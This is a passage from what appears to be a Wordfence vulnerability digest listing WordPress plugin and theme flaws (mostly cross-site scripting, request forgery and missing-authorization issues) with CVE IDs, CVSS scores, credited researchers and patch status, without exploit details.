<https://wordfence.com/threat-intel/vulnerabilities/id/1fa87357-09c0-4e99-8ceb-41a7987c4a57>\n\n* * *\n\n#### [Solidres <= 0.9.4 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/36d9e9cd-7885-4127-b62c-ee0b3aad8846>)\n\n**Affected Software**: [Solidres \u2013 Hotel booking plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>) \n**CVE ID**: CVE-2023-1377 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [Erwan LR](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/erwan>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/36d9e9cd-7885-4127-b62c-ee0b3aad8846>\n\n* * *\n\n#### [SEO Plugin by Squirrly SEO <= 12.1.20 - Reflected Cross-Site Scripting via 'page' and 'tab'](<https://wordfence.com/threat-intel/vulnerabilities/id/3edce64d-13c2-454a-b5da-0454453f69cb>)\n\n**Affected Software**: [SEO Plugin by Squirrly SEO](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/squirrly-seo>) \n**CVE ID**: CVE-2022-45065 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/3edce64d-13c2-454a-b5da-0454453f69cb>\n\n* * *\n\n#### [WordPress Mortgage Calculator Estatik <= 2.0.7 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/5ce9dd21-3c89-4ddd-9022-f1edf1224e2d>)\n\n**Affected Software**: [WordPress Mortgage Calculator Estatik](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/estatik-mortgage-calculator>) \n**CVE ID**: CVE-2023-28490 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [minhtuanact](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/minhtuanact>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/5ce9dd21-3c89-4ddd-9022-f1edf1224e2d>\n\n* * *\n\n#### [Drag and Drop Multiple File Upload PRO - Contact Form 7 Standard <= 2.11.0 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/60ae8b8f-bc65-40df-b6ae-4ec8e328dbe5>)\n\n**Affected Software**: [Drag and Drop Multiple File Upload PRO - Contact Form 7 Standard](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-n-drop-upload-cf7-pro>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/60ae8b8f-bc65-40df-b6ae-4ec8e328dbe5>\n\n* * *\n\n#### [WPML <= 4.6.1 - Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b5639c00-f34c-45e3-8ff1-dfde7856a80e>)\n\n**Affected Software**: [wpml](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpml>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b5639c00-f34c-45e3-8ff1-dfde7856a80e>\n\n* * *\n\n#### [Brilliance <= 1.3.1 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/e5726c70-c2c7-45b9-bd03-38cf1320646a>)\n\n**Affected Software**: [Brilliance](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/brilliance>) \n**CVE ID**: CVE-2023-28171 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e5726c70-c2c7-45b9-bd03-38cf1320646a>\n\n* * *\n\n#### [Mediciti Lite <= 1.3.0 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/ec2825b2-c8df-40fd-b44d-a840be66446f>)\n\n**Affected Software**: [Mediciti Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/mediciti-lite>) \n**CVE ID**: CVE-2023-28418 \n**CVSS Score**: 6.1 (Medium) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ec2825b2-c8df-40fd-b44d-a840be66446f>\n\n* * *\n\n#### [Dynamics 365 Integration <= 1.3.12 - Missing Authorization via wp_ajax_wpcrm_log & wp_ajax_wpcrm_log_verbosity](<https://wordfence.com/threat-intel/vulnerabilities/id/1671e437-09f0-46bc-87ef-3a5712c3dc98>)\n\n**Affected Software**: [Dynamics 365 Integration](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/integration-dynamics>) \n**CVE ID**: CVE-2023-28417 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/1671e437-09f0-46bc-87ef-3a5712c3dc98>\n\n* * *\n\n#### [Force First and Last Name as Display Name <= 1.2 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/27d579d5-a4d2-45f7-a7bb-8f384d851d7a>)\n\n**Affected Software**: [Force First and Last Name as Display Name](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/force-first-last>) \n**CVE ID**: CVE-2023-28419 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Mika](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/mika>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/27d579d5-a4d2-45f7-a7bb-8f384d851d7a>\n\n* * *\n\n#### [WP Google Map Plugin <= 4.4.2 - Cross-Site Request Forgery via delete()](<https://wordfence.com/threat-intel/vulnerabilities/id/71f58781-3fb3-4eba-8e5a-f98f006f4607>)\n\n**Affected Software**: [WordPress Plugin for Google Maps \u2013 WP MAPS](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-google-map-plugin>) \n**CVE ID**: CVE-2023-28172 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Rafie Muhammad](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafie-muhammad>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/71f58781-3fb3-4eba-8e5a-f98f006f4607>\n\n* * *\n\n#### [Redirect Redirection <= 1.1.4 - Cross-Site Request Forgery to Plugin De-Installation](<https://wordfence.com/threat-intel/vulnerabilities/id/7d500729-3b1a-4ece-81de-4c1f9afbf798>)\n\n**Affected Software**: [Redirection](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/redirect-redirection>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7d500729-3b1a-4ece-81de-4c1f9afbf798>\n\n* * *\n\n#### [Regina Lite <= 2.0.7 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/7dcd3452-a340-44e5-b292-347dc69ab863>)\n\n**Affected Software**: [Regina Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/regina-lite>) \n**CVE ID**: CVE-2023-27619 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7dcd3452-a340-44e5-b292-347dc69ab863>\n\n* * *\n\n#### [WooCommerce Weight Based Shipping <= 5.4.1 - Cross-Site Request Forgery leading to Plugin Settings Changes](<https://wordfence.com/threat-intel/vulnerabilities/id/b5086b8d-6c74-4970-9937-5ddc5b528495>)\n\n**Affected Software**: [WooCommerce Weight Based Shipping](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/weight-based-shipping-for-woocommerce>) \n**CVE ID**: CVE-2022-46794 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Muhammad Daffa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/muhammad-daffa>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b5086b8d-6c74-4970-9937-5ddc5b528495>\n\n* * *\n\n#### [Site Reviews <= 6.5.1 - Missing Authorization](<https://wordfence.com/threat-intel/vulnerabilities/id/d94f6cdd-8232-4e0c-b510-0e755c280b58>)\n\n**Affected Software**: [Site Reviews](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/site-reviews>) \n**CVE ID**: CVE-2023-27625 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Rafshanzani Suhada](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rafshanzani-suhada>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d94f6cdd-8232-4e0c-b510-0e755c280b58>\n\n* * *\n\n#### [Newsmag <= 2.4.4 - Reflected Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/debe6f54-0f56-4bc9-a0cd-4f2caa1ed9e3>)\n\n**Affected Software**: [NewsMag](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/newsmag>) \n**CVE ID**: CVE-2023-28493 \n**CVSS Score**: 5.4 (Medium) \n**Researcher/s**: [Brandon James Roldan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/brandon-james-roldan>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/debe6f54-0f56-4bc9-a0cd-4f2caa1ed9e3>\n\n* * *\n\n#### [WordPress Email Marketing Plugin \u2013 WP Email Capture <= 3.10 - Information Exposure via wp_email_capture_options_process](<https://wordfence.com/threat-intel/vulnerabilities/id/b4570948-1625-44b3-8af6-73765d9710ee>)\n\n**Affected Software**: [WordPress Email Marketing Plugin \u2013 WP Email Capture](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-email-capture>) \n**CVE ID**: CVE-2023-28421 \n**CVSS Score**: 5.3 (Medium) \n**Researcher/s**: [Nguyen Anh Tien](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nguyen-anh-tien>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b4570948-1625-44b3-8af6-73765d9710ee>\n\n* * *\n\n#### [Popup Maker <= 1.17.1 - Sensitive Data Exposure via debug log file](<https://wordfence.com/threat-intel/vulnerabilities/id/d0240b35-72d0-4943-84cd-5d1574609b36>)\n\n**Affected Software**: [Popup Maker \u2013 Popup for opt-ins, lead gen, & more](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/popup-maker>) \n**CVE ID**: CVE-2022-47597 \n**CVSS Score**: 5.3 (Medium) \n**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d0240b35-72d0-4943-84cd-5d1574609b36>\n\n* * *\n\n#### [Backup Bank: WordPress Backup Plugin <= 4.0.28 - Missing Authorization via post_user_feedback_backup_bank](<https://wordfence.com/threat-intel/vulnerabilities/id/e5ab6dcd-ef22-4fea-9e35-9358ede3ff5d>)\n\n**Affected Software**: [Backup Bank: WordPress Backup Plugin](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-backup-bank>) \n**CVE ID**: CVE-2023-28165 \n**CVSS Score**: 5.3 (Medium) \n**Researcher/s**: [Lana Codes](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/lana-codes>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e5ab6dcd-ef22-4fea-9e35-9358ede3ff5d>\n\n* * *\n\n#### [WP Simple Shopping Cart <= 4.6.3 - Information Disclosure](<https://wordfence.com/threat-intel/vulnerabilities/id/ea4453bc-557b-4abf-85c6-4aecfd8f4012>)\n\n**Affected Software**: [WordPress Simple Shopping Cart](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-simple-paypal-shopping-cart>) \n**CVE ID**: CVE-2023-1431 \n**CVSS Score**: 5.3 (Medium) \n**Researcher/s**: [Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/ea4453bc-557b-4abf-85c6-4aecfd8f4012>\n\n* * *\n\n#### [WordPress Console <= 0.3.9 - Missing Authorization via reload.php](<https://wordfence.com/threat-intel/vulnerabilities/id/fd3cd605-6292-4a04-9aee-f4b9a8127e8e>)\n\n**Affected Software**: [WordPress Console](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-console>) \n**CVE ID**: CVE-2023-28168 \n**CVSS Score**: 5.3 (Medium) \n**Researcher/s**: [Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/fd3cd605-6292-4a04-9aee-f4b9a8127e8e>\n\n* * *\n\n#### [PhonePe Payment Solutions <= 1.0.15 - Authenticated (Subscriber+) Server-Side Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/8f24f7e2-2516-4f4d-955f-f3f6001cbce7>)\n\n**Affected Software**: [PhonePe Payment Solutions](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/phonepe-payment-solutions>) \n**CVE ID**: CVE-2022-45835 \n**CVSS Score**: 5 (Medium) \n**Researcher/s**: [Aman Rawat](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/aman-rawat>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/8f24f7e2-2516-4f4d-955f-f3f6001cbce7>\n\n* * *\n\n#### [Auto Rename Media On Upload <= 1.0.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/25a566ed-9ed6-4c72-9728-49a0edfb5ba5>)\n\n**Affected Software**: [Auto Rename Media On Upload](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/auto-rename-media-on-upload>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/25a566ed-9ed6-4c72-9728-49a0edfb5ba5>\n\n* * *\n\n#### [eCommerce Product Catalog plugin for WordPress <= 3.3.8 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/26b7438e-438b-41eb-9458-2fba8ab1964d>)\n\n**Affected Software**: [eCommerce Product Catalog Plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ecommerce-product-catalog>) \n**CVE ID**: CVE-2023-1470 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Marco Wotschka](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/marco-wotschka>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/26b7438e-438b-41eb-9458-2fba8ab1964d>\n\n* * *\n\n#### [WP Simple Events <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/53de68ad-76a6-4043-8369-7679c1c5c1cd>)\n\n**Affected Software**: [WP Simple Events](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-simple-events>) \n**CVE ID**: CVE-2023-24376 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/53de68ad-76a6-4043-8369-7679c1c5c1cd>\n\n* * *\n\n#### [Easy Event calendar <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/57dda8e6-54d1-41db-a54d-4a5d635e23b7>)\n\n**Affected Software**: [Easy Event calendar](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-event-calendar>) \n**CVE ID**: CVE-2023-28169 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Nithissh S](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/nithissh-s>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/57dda8e6-54d1-41db-a54d-4a5d635e23b7>\n\n* * *\n\n#### [Yandex.News Feed by Teplitsa <= 1.12.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/756810c0-d805-4391-a67b-19b40597d219>)\n\n**Affected Software**: [Yandex.News Feed by Teplitsa](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/yandexnews-feed-by-teplitsa>) \n**CVE ID**: CVE-2023-25052 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [yuyudhn](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/yuyudhn>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/756810c0-d805-4391-a67b-19b40597d219>\n\n* * *\n\n#### [SMTP2GO <= 1.4.2 - Authenticated (Administrator+) Stored Cross-Site Scripting via admin settings](<https://wordfence.com/threat-intel/vulnerabilities/id/7cc618c8-63a9-4321-ad18-ee5277a5f5e0>)\n\n**Affected Software**: [SMTP2GO \u2013 Email Made Easy](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/smtp2go>) \n**CVE ID**: CVE-2023-28496 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/7cc618c8-63a9-4321-ad18-ee5277a5f5e0>\n\n* * *\n\n#### [WSB Brands <= 1.1.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via $logo](<https://wordfence.com/threat-intel/vulnerabilities/id/89321887-0116-47fb-b65b-008c9fb01b62>)\n\n**Affected Software**: [WSB Brands](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wsb-brands>) \n**CVE ID**: CVE-2022-47437 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [TEAM WEBoB of BoB 11th](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/team-webob-of-bob-11th>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/89321887-0116-47fb-b65b-008c9fb01b62>\n\n* * *\n\n#### [PB SEO Friendly Images <= 4.0.5 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/89fc8407-3d1f-4b1b-9b4c-13c0da928231>)\n\n**Affected Software**: [PB SEO Friendly Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/pb-seo-friendly-images>) \n**CVE ID**: CVE-2022-47434 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Dimas Aprilianto](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dimas-aprilianto>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/89fc8407-3d1f-4b1b-9b4c-13c0da928231>\n\n* * *\n\n#### [CMS Press <= 0.2.3 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/905cb57b-70ec-4324-ae66-9c06d1737939>)\n\n**Affected Software**: [CMS Press](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cms-press>) \n**CVE ID**: CVE-2023-25452 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Prasanna V Balaji](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/prasanna-v-balaji>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/905cb57b-70ec-4324-ae66-9c06d1737939>\n\n* * *\n\n#### [Modern Footnotes <= 1.4.15 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/94b98842-8c75-4623-8cc9-ad3dc0916a18>)\n\n**Affected Software**: [Modern Footnotes](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-footnotes>) \n**CVE ID**: CVE-2023-28423 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/94b98842-8c75-4623-8cc9-ad3dc0916a18>\n\n* * *\n\n#### [Solidres <= 0.9.4 - Authenticated (Admin+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/b13ee51b-9f23-428f-9cef-4a9b9b06b0c4>)\n\n**Affected Software**: [Solidres \u2013 Hotel booking plugin for WordPress](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/solidres>) \n**CVE ID**: CVE-2023-1374 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Daniel Kelley](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/daniel-kelley>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b13ee51b-9f23-428f-9cef-4a9b9b06b0c4>\n\n* * *\n\n#### [WP Express Checkout <= 2.2.8 - Authenticated (Admin+) Stored Cross-Site Scripting via pec_coupon](<https://wordfence.com/threat-intel/vulnerabilities/id/b35ee801-f04d-4b22-8238-053b02a6ee0c>)\n\n**Affected Software**: [WP Express Checkout (Accept PayPal Payments Easily)](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-express-checkout>) \n**CVE ID**: CVE-2023-1469 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Ayoub Safa](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/ayoub-safa>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/b35ee801-f04d-4b22-8238-053b02a6ee0c>\n\n* * *\n\n#### [Branda \u2013 White Label WordPress <= 3.4.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/c3508b46-6920-48b9-9acb-620ea34e07e2>)\n\n**Affected Software**: [Branda \u2013 White Label WordPress, Custom Login Page Customizer](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/branda-white-labeling>) \n**CVE ID**: CVE Unknown \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: Unknown \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/c3508b46-6920-48b9-9acb-620ea34e07e2>\n\n* * *\n\n#### [Klaviyo <= 3.0.7 - Authenticated (Administrator+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/d2b66f27-e4d2-4f6e-be96-b7f967a30885>)\n\n**Affected Software**: [Klaviyo](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/klaviyo>) \n**CVE ID**: CVE-2023-25456 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Abdi Pranata](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/abdi-pranata>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/d2b66f27-e4d2-4f6e-be96-b7f967a30885>\n\n* * *\n\n#### [Modern Events Calendar lite <= 5.16.2 - Authenticated (Admin+) Stored Cross-Site Scripting](<https://wordfence.com/threat-intel/vulnerabilities/id/e7465ca4-21e8-4935-b294-e7378b2b01a7>)\n\n**Affected Software**: [Modern Events Calendar Lite](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/modern-events-calendar-lite>) \n**CVE ID**: CVE-2023-1400 \n**CVSS Score**: 4.4 (Medium) \n**Researcher/s**: [Pavak Tiwari](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/pavak-tiwari>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/e7465ca4-21e8-4935-b294-e7378b2b01a7>\n\n* * *\n\n#### [Slideshow Gallery LITE <= 1.7.6 - Cross-Site Request Forgery via admin_galleries](<https://wordfence.com/threat-intel/vulnerabilities/id/0a598274-3c67-4751-94d6-49abed38422c>)\n\n**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>) \n**CVE ID**: CVE-2023-28497 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/0a598274-3c67-4751-94d6-49abed38422c>\n\n* * *\n\n#### [Google XML Sitemap for Images <= 2.1.3 - Cross-Site Request Forgery via image_sitemap_generate](<https://wordfence.com/threat-intel/vulnerabilities/id/1165c68d-3da4-45f3-b054-4904e54d18ac>)\n\n**Affected Software**: [Google XML Sitemap for Images](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/google-image-sitemap>) \n**CVE ID**: CVE-2023-28173 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/1165c68d-3da4-45f3-b054-4904e54d18ac>\n\n* * *\n\n#### [Slideshow Gallery LITE <= 1.7.6 - Cross-Site Request Forgery via admin_slides](<https://wordfence.com/threat-intel/vulnerabilities/id/164ec659-e1a6-4267-b6e9-4e37a402e503>)\n\n**Affected Software**: [Slideshow Gallery LITE](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/slideshow-gallery>) \n**CVE ID**: CVE-2023-28497 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Rio Darmawan](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rio-darmawan>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/164ec659-e1a6-4267-b6e9-4e37a402e503>\n\n* * *\n\n#### [Real Estate Directory <= 1.0.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Activation](<https://wordfence.com/threat-intel/vulnerabilities/id/17031e21-e697-4e01-8848-c3957f5dac7f>)\n\n**Affected Software**: [Real Estate Directory](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-themes/real-estate-directory>) \n**CVE ID**: CVE-2023-28532 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [Dave Jong](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/dave-jong>) \n**Patch Status**: Patched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/17031e21-e697-4e01-8848-c3957f5dac7f>\n\n* * *\n\n#### [LOGIN AND REGISTRATION ATTEMPTS LIMIT <= 2.1 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/257052f4-2b0a-4604-befd-651dc338b3d5>)\n\n**Affected Software**: [LOGIN AND REGISTRATION ATTEMPTS LIMIT](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/login-attempts-limit-wp>) \n**CVE ID**: CVE-2022-47138 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) \n**Patch Status**: Unpatched \n**Vulnerability Details:** <https://wordfence.com/threat-intel/vulnerabilities/id/257052f4-2b0a-4604-befd-651dc338b3d5>\n\n* * *\n\n#### [Chronoforms <= 7.0.9 - Cross-Site Request Forgery](<https://wordfence.com/threat-intel/vulnerabilities/id/2c02b9b2-b41e-4a30-b69a-9cdae86dd7a7>)\n\n**Affected Software**: [Chronoforms](<https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/chronoforms>) \n**CVE ID**: CVE-2022-47135 \n**CVSS Score**: 4.3 (Medium) \n**Researcher/s**: [rezaduty](<https://www.wordfence.com/threat-intel/vulnerabilities/researchers/rezaduty-1>) 